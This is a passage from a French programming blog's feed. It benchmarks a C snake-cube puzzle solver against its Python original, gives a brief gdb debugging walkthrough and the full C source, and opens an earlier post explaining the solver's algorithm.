<p>De même, les solutions trouvées sont données dans un <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callback</a> (la fonction <code>solution</code>), toujours dans l&#8217;objectif de supprimer simplement les <em>yield</em>s.</p>
<p>J&#8217;ai tout mis dans un seul fichier <code>csnakesolver.c</code> (par simplicité, même si dans les règles de l&#8217;art, plusieurs fichiers <code>.c</code> avec leurs <code>.h</code> auraient été préférables).</p>
<h3>Performances</h3>
<p>Passons maintenant à ce qui nous intéresse&nbsp;: les performances.</p>
<h4>Exemples de référence</h4>
<p>Je fais mes tests sur 3 exemples&nbsp;: un rapide, un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72413">moyen</a> et un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72410">long</a>.</p>
<p>Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives&nbsp;:</p>
<pre>// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}</pre>
<h4>Protocole</h4>
<p>Je vais comparer, grâce à la commande <code>time</code>, le temps nécessaire pour trouver une solution&nbsp;:</p>
<pre>time ./csnakesolver</pre>
<p>Le programme doit s&#8217;arrêter après avoir trouvé la première. Les programmes <em>Python</em> et <em>C</em> trouveront forcément les mêmes et dans le même ordre, vu qu&#8217;ils implémentent le même algorithme.</p>
<h4>Compilation</h4>
<p>Il est intéressant de tester les performances en compilant sans optimisations&nbsp;:</p>
<pre>gcc csnakesolver.c -o csnakesolver</pre>
<p>et avec&nbsp;:</p>
<pre>gcc -O3 csnakesolver.c -o csnakesolver</pre>
<h4>Résultats</h4>
<table>
<tr>
<td></td>
<th style="text-align:center"><em>Python</em></th>
<th style="text-align:center"><em>C</em> (<code>gcc</code>)</th>
<th style="text-align:center"><em>C</em> (<code>gcc -O3</code>)</th>
</tr>
<tr>
<th>Exemple R</th>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
</tr>
<tr>
<th>Exemple M</th>
<td style="text-align:center">5m6.903s</td>
<td style="text-align:center">0m3.715s <em>(×83)</em></td>
<td style="text-align:center">0m0.826s <em>(×372)</em></td>
</tr>
<tr>
<th>Exemple L</th>
<td style="text-align:center">3h53m17.012s</td>
<td style="text-align:center">5m4.533s <em>(×46)</em></td>
<td style="text-align:center">0m50.681s <em>(×276)</em></td>
</tr>
</table>
<p>Le gain est loin d&#8217;être négligeable, un gain de ×276 dans un cas et ×372 dans l&#8217;autre&nbsp;! Honnêtement, je ne m&#8217;y attendais pas. Tout au plus, j&#8217;espérais ×40~×50, sans trop y croire.</p>
<h4>Origines des gains de performances</h4>
<p>Deux différences expliquent ces gains&nbsp;:</p>
<ul>
<li><em>Python</em> est <a href="http://fr.wikipedia.org/wiki/Langage_interpr%C3%A9t%C3%A9_%28informatique%29">interprété</a>, alors que <em>C</em> est <a href="http://fr.wikipedia.org/wiki/C_%28langage%29#Compilation">compilé</a>&nbsp;;</li>
<li>En tant que langage de haut-niveau, <em>Python</em> subit le <a href="http://fr.wikipedia.org/wiki/Langage_de_haut_niveau#Co.C3.BBt_de_cette_abstraction">coût de l&#8217;abstraction</a>.</li>
</ul>
<p>Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l&#8217;abstraction <em>(nous savons déjà que le facteur de gain entre les programmes compilés avec et sans <code>-O3</code> provient uniquement de la compilation)</em>.</p>
<p>Une approche intéressante pour répondre à cette question serait de compiler le programme <em>Python</em> en code natif (je n&#8217;ai encore jamais fait).</p>
<h3>Débogueur</h3>
<p>Travailler sur un mini-projet personnel permet toujours d&#8217;apprendre des choses. En dehors du langage lui-même, j&#8217;ai découvert le <a href="http://fr.wikipedia.org/wiki/D%C3%A9bogueur">débogueur</a> <a href="http://www.gnu.org/s/gdb/">gdb</a>.</p>
<p>N&#8217;ayant toujours utilisé des débogueurs qu&#8217;en mode graphique (pour d&#8217;autres langages), je m&#8217;attendais à ce qu&#8217;il soit un peu long à prendre en main. Mais en fait, pas du tout, j&#8217;ai été agréablement surpris par sa simplicité d&#8217;utilisation.</p>
<p>Avec certains langages, on peut se passer de débogueur pour de petits programmes. <em>C</em> ne fait pas partie de ceux-là, par exemple dans ce cas précis&nbsp;:</p>
<pre>$ ./csnakesolver
Erreur de segmentation</pre>
<p>Il faut d&#8217;abord compiler le programme avec l&#8217;option de <em>debug</em>&nbsp;:</p>
<pre>gcc -g csnakesolver.c -o csnakesolver</pre>
<p>Puis lancer le programme avec le débogueur&nbsp;:</p>
<pre>gdb csnakesolver</pre>
<p>Un prompt permet d&#8217;entrer des commandes&nbsp;:</p>
<pre>(gdb) </pre>
<p>Pour placer un point d&#8217;arrêt à la ligne 215&nbsp;:</p>
<pre>(gdb) break 215</pre>
<p>Pour démarrer le programme&nbsp;:</p>
<pre>(gdb) run</pre>
<p>Le programme s&#8217;arrête sur le point d&#8217;arrêt&nbsp;:</p>
<pre>Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];</pre>
<p>Pour afficher le bout de code source concerné&nbsp;:</p>
<pre>(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {</pre>
<p>Il est possible de consulter les valeurs des variables grâce à <code>p</code> (<em>print</em>)&nbsp;:</p>
<pre>(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}</pre>
<p>Pour afficher des <a href="http://www.chemie.fu-berlin.de/chemnet/use/info/gdb/gdb_9.html#SEC54">tableaux</a>, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3)&nbsp;:</p>
<pre>(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}</pre>
<p>Pour obtenir la <a href="http://fr.wikipedia.org/wiki/Pile_d%27ex%C3%A9cution">pile d&#8217;exécution</a>&nbsp;:</p>
<pre>(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475</pre>
<p>Pour avancer dans le programme, 3 commandes sont indispensables&nbsp;:</p>
<ul>
<li><code>c</code> (<em>continue</em>) pour dérouler le programme jusqu&#8217;au prochain point d&#8217;arrêt&nbsp;;</li>
<li><code>n</code> (<em>next</em>) pour exécuter la ligne suivante complètement&nbsp;;</li>
<li><code>s</code> (<em>step</em>) pour rentrer dans la fonction sur la ligne suivante et l&#8217;exécuter ligne à ligne.</li>
</ul>
<p>Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.</p>
<h3>Conclusion</h3>
<p>Un programme écrit en <em>C</em> est plus rapide qu&#8217;un programme écrit en <em>Python</em> (ah bon&nbsp;?), dans une proportion plus importante que je ne l&#8217;imaginais. Ce n&#8217;est qu&#8217;un test sur un exemple particulier, mais il donne déjà une petite idée.</p>
<p>La morale de l&#8217;histoire est qu&#8217;il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, <em>Python</em> sera préféré à <em>C</em>.</p>
<h3>Code source</h3>
<p>Le programme est disponible <a href="http://dl.rom1v.com/snakesolver/">au même endroit</a> que la version <em>Python</em>&nbsp;: <a href="http://dl.rom1v.com/snakesolver/csnakesolver-0.1.c">csnakesolver-0.1.c</a>.</p>
<p><em>Par contre, désolé, cette version est beaucoup moins commentée que la version Python.</em></p>
<pre>/*
 * csnakesolver v0.1, 19th october 2011
 *
 * changelog:
 *   0.1
 *     - initial version
 *
 * Solver for generalized snake-cube:
 * http://en.wikipedia.org/wiki/Snake_cube
 * http://fr.wikipedia.org/wiki/Cube_serpent
 *
 * By Romain Vimont (®om)
 *   rom@rom1v.com
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdbool.h&gt;
#include &lt;string.h&gt;

#define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L

#ifdef EXEMPLE_R
#define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
#define STRUCTURE_VECTOR_COUNT 17
#define VOLUME_DIMENSIONS {3, 3, 3}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_M
#define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
#define STRUCTURE_VECTOR_COUNT 46
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_L
#define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
#define STRUCTURE_VECTOR_COUNT 47
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#define VARIABLES {'x', 'y', 'z', 't'}
#define VARIABLES_COUNT 4

int structure[] = SNAKE_STRUCTURE;
int dimensions[] = VOLUME_DIMENSIONS;
int variables[] = VARIABLES;

int structure_length; // sum of SNAKE_STRUCTURE
int volume_size; // product of dimensions

typedef struct vector {
    int position;
    int value;
} vector_s;

typedef struct volume_helper {
    bool * flags; // length = product of all VOLUME_DIMENSIONS items
    vector_s path[STRUCTURE_VECTOR_COUNT];
    int path_length;
    int init_cursor[DIMENSIONS_COUNT];
    int cursor[DIMENSIONS_COUNT];
} volume_helper_s;

typedef struct symmetry_helper {
    int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2];
    int * eq_classes;
} symmetry_helper_s;

vector_s new_vector(char position, char value);
void symmetry_helper_init(symmetry_helper_s * symmetry_helper);
void volume_helper_init(volume_helper_s * volume_helper);
void init();

char * vector_to_string(vector_s vector);
char * get_variable(char position);
char * get_canonical_number(char number);

char * cursor_to_string(int cursor[]);

void volume_helper_set_cursor(int cursor[]);
bool * volume_helper_get_flag_pointer(int cursor[]);
bool volume_helper_get_flag(int cursor[]);
void volume_helper_set_flag(int cursor[], bool value);
bool volume_helper_can_move(vector_s vector);
void volume_helper_move(vector_s vector);
void volume_helper_back();
void volume_helper_append_vector_in_path(vector_s vector) ;
vector_s volume_helper_pop_vector_in_path();

void symmetry_helper_init_eq_classes_from_dimensions();
bool symmetry_helper_inc_cursor(int cursor[]);
bool symmetry_helper_inc_cursor_rec(int cursor[], int index);
void symmetry_helper_set_cursor(int cursor[]);
void symmetry_helper_move(vector_s vector);
void symmetry_helper_back();
bool symmetry_helper_must_explore(int i);
bool eq_cmp(int p1, int p2, int dim);

bool solve();
bool solve_rec(int init_cursor[], int step);
bool solution(int * init_cursor, vector_s * path);

vector_s new_vector(char position, char value) {
    vector_s vector;
    vector.position = position;
    vector.value = value;
    return vector;
};

symmetry_helper_s symmetry_helper;
volume_helper_s volume_helper;

void symmetry_helper_init(symmetry_helper_s * symmetry_helper) {
    symmetry_helper-&gt;eq_classes = symmetry_helper-&gt;eq_classes_path;
}

void volume_helper_init(volume_helper_s * volume_helper) {
    volume_helper-&gt;flags = (bool *) malloc(volume_size * sizeof(bool));
    volume_helper-&gt;path_length = 0;
}

void init() {
    int i;
    volume_size = 1;
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        volume_size *= dimensions[i];
    }
    structure_length = 0;
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        structure_length += structure[i];
    }
    symmetry_helper_init(&#038;symmetry_helper);
    volume_helper_init(&#038;volume_helper);
}

char * vector_to_string(vector_s vector) {
    char * string = (char *) malloc(5 * sizeof(char));
    char * variable = get_variable(vector.position);
    char * canonical_number = get_canonical_number(vector.value);
    sprintf(string, "%s%s", canonical_number, variable);
    free(variable);
    free(canonical_number);
    return string;
}

char * get_variable(char position) {
    char * variable = (char *) malloc(3 * sizeof(char));
    if (position &lt; VARIABLES_COUNT) {
        sprintf(variable, "%c", variables[position]);
    } else {
        sprintf(variable, "k%i", position - VARIABLES_COUNT);
    }
    return variable;
}

char * get_canonical_number(char number) {
    char * canonical_number = (char *) malloc(3 * sizeof(char));
    if (number == (char) 1) {
        sprintf(canonical_number, "");
    } else if (number == (char) -1) {
        sprintf(canonical_number, "-");
    } else {
        sprintf(canonical_number, "%i", number);
    }
    return canonical_number;
}

char * cursor_to_string(int cursor[]) {
    char * result = (char *) malloc(255 * sizeof(char));
    char * s = result;
    int i;
    s += sprintf(s, "(");
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (i != 0) {
            s += sprintf(s, ", ");
        }
        s += sprintf(s, "%i", cursor[i]);
    }
    s += sprintf(s, ")");
    return result;
}

void volume_helper_set_cursor(int cursor[]) {
    volume_helper_set_flag(volume_helper.init_cursor, false);
    memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    volume_helper_set_flag(cursor, true);
}

bool * volume_helper_get_flag_pointer(int cursor[]) {
    bool * p_flag = volume_helper.flags;
    int product = 1;
    int i;
    for (i = DIMENSIONS_COUNT - 1; i &gt;= 0; i--) {
        p_flag += cursor[i] * product;
        product *= dimensions[i];
    }
    return p_flag;
}

bool volume_helper_get_flag(int cursor[]) {
    return * volume_helper_get_flag_pointer(cursor);
}

void volume_helper_set_flag(int cursor[], bool value) {
    * volume_helper_get_flag_pointer(cursor) = value;
}

bool volume_helper_can_move(vector_s vector) {
    int cursor_position_value = volume_helper.cursor[vector.position];
    int new_value = cursor_position_value + vector.value;
    int future_cursor[DIMENSIONS_COUNT];
    int sign, i, abs_value;
    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {
        return false;
    }
    memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int));
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        future_cursor[vector.position] += sign;
        if (volume_helper_get_flag(future_cursor)) {
            return false;
        }
    }
    return true;
}

void volume_helper_move(vector_s vector) {
    int sign, i, abs_value;
    volume_helper_append_vector_in_path(vector);
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper.cursor[vector.position] += sign;
        volume_helper_set_flag(volume_helper.cursor, true);
    }
}

void volume_helper_back() {
    int sign, i, abs_value;
    vector_s vector = volume_helper_pop_vector_in_path();
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper_set_flag(volume_helper.cursor, false);
        volume_helper.cursor[vector.position] += -sign;
    }
}

void volume_helper_append_vector_in_path(vector_s vector) {
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    memcpy(current_vector, &#038;vector, sizeof(vector_s));
    volume_helper.path_length ++;
}

vector_s volume_helper_pop_vector_in_path() {
    volume_helper.path_length --;
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    vector_s vector;
    memcpy(&#038;vector, current_vector, sizeof(vector));
    return vector;
}

void symmetry_helper_init_eq_classes_from_dimensions() {
    // eq_classes from dimensions is the first item of eq_classes_path
    int * eq_classes = symmetry_helper.eq_classes_path;
    int i, j;
    int value;
    bool found;
    for (i = 1; i &lt; DIMENSIONS_COUNT; i++) {
        value = dimensions[i];
        j = 0;
        found = false;
        while (j &lt; i &#038;&#038; !found) {
            if (dimensions[j] == value) {
                eq_classes[i] = j;
                found = true;
            } else {
                j++;
            }
        }
        if (!found) {
            eq_classes[j] = j;
        }
    }
    symmetry_helper.eq_classes = eq_classes;
}

bool symmetry_helper_inc_cursor(int cursor[]) {
    return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1);
}

bool symmetry_helper_inc_cursor_rec(int cursor[], int index) {
    int * eq_classes = symmetry_helper.eq_classes_path;
    int value = cursor[index];
    int i;
    if (value &lt; (dimensions[index] - 1) / 2) {
        // the last coordinate can be incremented
        cursor[index] ++;
        return true;
    }
    // we must increment recursively the previous coordinate
    if (index == 0) {
        // there is no more coordinate to increment
        return false;
    }
    i = index - 1;
    if (!symmetry_helper_inc_cursor_rec(cursor, i)) {
        return false;
    }
    while (i &gt;= 0 &#038;&#038; eq_classes[i] != eq_classes[index]) {
        i--;
    }
    if (i &gt;= 0) {
        // coordinate value must at least equals the previous coordinates
        // in the same equivalence class
        cursor[index] = cursor[i];
    } else {
        cursor[index] = 0;
    }
    return true;
}

void symmetry_helper_set_cursor(int cursor[]) {
    int * eq_classes_path = symmetry_helper.eq_classes_path;
    int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT;
    int i, j, old_class;

    symmetry_helper.eq_classes = cursor_eq_classes;
    // copy the eq_classes computed from the dimensions into the next segment
    memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int));
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (cursor_eq_classes[i] != i &#038;&#038; !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) {
            old_class = cursor_eq_classes[i];
            cursor_eq_classes[i] = i;
            for (j = i + 1; j &lt; DIMENSIONS_COUNT; j++) {
                if (cursor_eq_classes[j] == old_class) {
                    cursor_eq_classes[j] = i;
                }
            }
        }
    }
}

void symmetry_helper_move(vector_s vector) {
    int position = vector.position;
    int * previous_eq_classes = symmetry_helper.eq_classes;
    int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT;

    int new_eq_class = -1;
    int i;
    memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int));
    for (i = position + 1; i &lt; DIMENSIONS_COUNT; i++) {
        if (new_eq_classes[i] == position) {
            if (new_eq_class == -1) {
                new_eq_class = i;
            }
            new_eq_classes[i] = new_eq_class;
        }
    }
    symmetry_helper.eq_classes = new_eq_classes;
}

void symmetry_helper_back() {
    symmetry_helper.eq_classes -= DIMENSIONS_COUNT;
}

bool symmetry_helper_must_explore(int i) {
    return symmetry_helper.eq_classes[i] == i;
}

bool eq_cmp(int p1, int p2, int dim) {
    return p1 == p2 || p1 + p2 + 1 == dim;
}

bool solve() {
    int cursor[DIMENSIONS_COUNT] = {}; // init with zeros
    int i;
    if (structure_length + 1 != volume_size) {
        fprintf(stderr,
                "Structure has not the right length (%i instead of %i)\n",
                structure_length, volume_size);
        return false;
    }

    do {
        volume_helper_set_cursor(cursor);
        symmetry_helper_set_cursor(cursor);
        if (!solve_rec(cursor, 0)) {
            return false;
        }
    } while (symmetry_helper_inc_cursor(cursor));

    // explored all possible solutions
    return true;
}

bool solve_rec(int init_cursor[], int step) {
    int previous_position;
    int norm = structure[step];
    int vector_value;
    int i, k;
    vector_s possible_vector;
    if (step == STRUCTURE_VECTOR_COUNT) {
        if (!solution(volume_helper.init_cursor, volume_helper.path)) {
            // stop searching for new solutions
            return false;
        }
    } else {
        if (volume_helper.path_length == 0) {
            previous_position = -1;
        } else {
            previous_position = volume_helper.path[volume_helper.path_length -1].position;
        }
        for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
            if (i != previous_position &#038;&#038; symmetry_helper_must_explore(i)) {
                for (k = 0; k &lt; 2; k++) {
                    vector_value = k == 0 ? norm : -norm;
                    possible_vector = new_vector(i, vector_value);
                    if (volume_helper_can_move(possible_vector)) {
                        volume_helper_move(possible_vector);
                        symmetry_helper_move(possible_vector);
                        if (!solve_rec(init_cursor, step + 1)) {
                            return false;
                        }
                        volume_helper_back();
                        symmetry_helper_back();
                    }
                }
            }
        }
    }
    return true;
}

bool solution(int * init_cursor, vector_s * path) {
    int i;
    char * vector_string;
    vector_s vector;
    printf("(%s, [", cursor_to_string(init_cursor));
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        if (i != 0) {
            printf(", ");
        }
        vector = path[i];
        vector_string = vector_to_string(vector);
        printf("%s", vector_string);
        free(vector_string);
    }
    printf("])\n");
    // stop after the first solution
    return false;
}

int main(void) {
    init();
    solve();
    exit(0);
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent en Python</title>
		<link>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/</link>
		<comments>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 21:10:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2954</guid>
		<description><![CDATA[Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre). Mon but était surtout d&#8217;apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c&#8217;est de la force brute). Il m&#8217;a permis de découvrir différents aspects de Python. Je [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg" alt="" title="cube-serpent" width="218" height="191" class="alignright size-full wp-image-2964" /></a></p>
<p>Je me suis amusé à écrire un petit programme en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> qui résout le <a href="http://fr.wikipedia.org/wiki/Cube_serpent">cube-serpent</a> (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre).<br />
Mon but était surtout d&#8217;apprendre le langage <em>Python</em>, avec un problème intéressant, pas trop compliqué (c&#8217;est de la <a href="http://fr.wikipedia.org/wiki/Recherche_par_force_brute">force brute</a>). Il m&#8217;a permis de découvrir différents aspects de <em>Python</em>.<br />
<ins datetime="2011-10-19T00:00:00+01:00">Je l&#8217;ai également <a href="http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/">implémenté en C</a>.</ins></p>
<p>L&#8217;algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d&#8217;autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en <a href="http://fr.wikipedia.org/wiki/Hypercube">hypercube</a>…</p>
<p>Je vais d&#8217;abord présenter le problème et décrire l&#8217;algorithme de résolution et survoler l&#8217;implémentation, puis je vais m&#8217;attarder sur certaines fonctionnalités de <em>Python</em> qui m&#8217;ont semblé très intéressantes.</p>
<h3>Résolution</h3>
<h4>Problème</h4>
<p>Le but est de replier la structure du serpent pour qu&#8217;elle forme un volume, par exemple un cube.</p>
<p>La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur <a href="http://fr.wikipedia.org/wiki/Fichier:Snakecube_1.jpg">Wikipedia</a> est la suivante&nbsp;:</p>
<pre>[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]</pre>
<p>Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d&#8217;orientation dans l&#8217;espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube&nbsp;: il y a donc 27 sommets pour un cube 3×3×3.</p>
<p>L&#8217;objectif est de trouver un <a href="http://fr.wikipedia.org/wiki/Graphe_hamiltonien#Chemin_hamiltonien">chemin hamiltonien</a> (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.</p>
<h4>Principe</h4>
<p>Pour trouver les solutions, il suffit de partir d&#8217;un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes&nbsp;:</p>
<ul>
<li>rester dans le volume (évidemment)&nbsp;;</li>
<li>le n<sup>ième</sup> vecteur doit être orthogonal au (n-1)<sup>ième</sup> vecteur (cette règle ne s&#8217;applique pas pour le tout premier vecteur)&nbsp;;</li>
<li>le vecteur &laquo;&nbsp;placé&nbsp;&raquo; dans le cube ne doit pas passer par une position déjà occupée (physiquement, il n&#8217;est pas possible de faire passer une partie du serpent à travers une autre).</li>
</ul>
<p>Il faut donc placer récursivement tous les vecteurs possibles, c&#8217;est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu&#8217;à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).</p>
<p>Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).</p>
<h4>Limites</h4>
<p>Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions &laquo;&nbsp;identiques&nbsp;&raquo;. Une amélioration serait de les détecter &laquo;&nbsp;au plus tôt&nbsp;&raquo; et de ne pas les construire.</p>
<p><ins datetime="2011-10-01T00:00:00+01:00">La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d&#8217;explications dans <a href="#comment-72460">ce commentaire</a> et <a href="#comment-72497">le suivant</a>.</ins></p>
<h3>Implémentation</h3>
<p>Voici une explication succincte des différentes parties du programme (pour plus d&#8217;informations, lire les commentaires dans le code).</p>
<h4>Vector</h4>
<p>Nous avons besoins de vecteurs, mais pas n&#8217;importe lesquels&nbsp;: seulement ceux qui ont une et une seule composante non-nulle, c&#8217;est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.</p>
<p>Ainsi, au lieu de stocker toutes les composantes, le <code>Vector</code> ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).</p>
<pre>Vector(position, value)</pre>
<h4>VolumeHelper</h4>
<p>Cette classe définit l&#8217;outil que va utiliser le solveur pour noter tout ce qu&#8217;il fait&nbsp;: le chemin emprunté et les sommets déjà visités. À chaque fois qu&#8217;il place un vecteur dans le volume, il &laquo;&nbsp;allume les petites lumières&nbsp;&raquo; associées aux sommets visités, et quand il revient en arrière (pour chercher d&#8217;autres solutions), il éteint ces petites lumières (par <em>lumières</em>, comprenez <em>booléens</em>).</p>
<h4><ins datetime="2011-10-01T00:00:00+01:00">SymmetryHelper</ins></h4>
<p><ins datetime="2011-10-01T00:00:00+01:00">Cette classe a été ajoutée dans la version 0.2.<br />
Elle définit l&#8217;outil que va utiliser le solveur pour n&#8217;explorer que les solutions nécessaires, en ignorant les symétries et les rotations.</ins></p>
<h4>Solver</h4>
<p>Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s&#8217;aidant du <code>VolumeHelper</code>) afin de trouver toutes les solutions.</p>
<h4>Solutions</h4>
<p>Lors de l&#8217;exécution du script, les solutions s&#8217;affichent au fur et à mesure&nbsp;:</p>
<pre>$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...</pre>
<p>Considérons la première solution&nbsp;:</p>
<pre>([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])</pre>
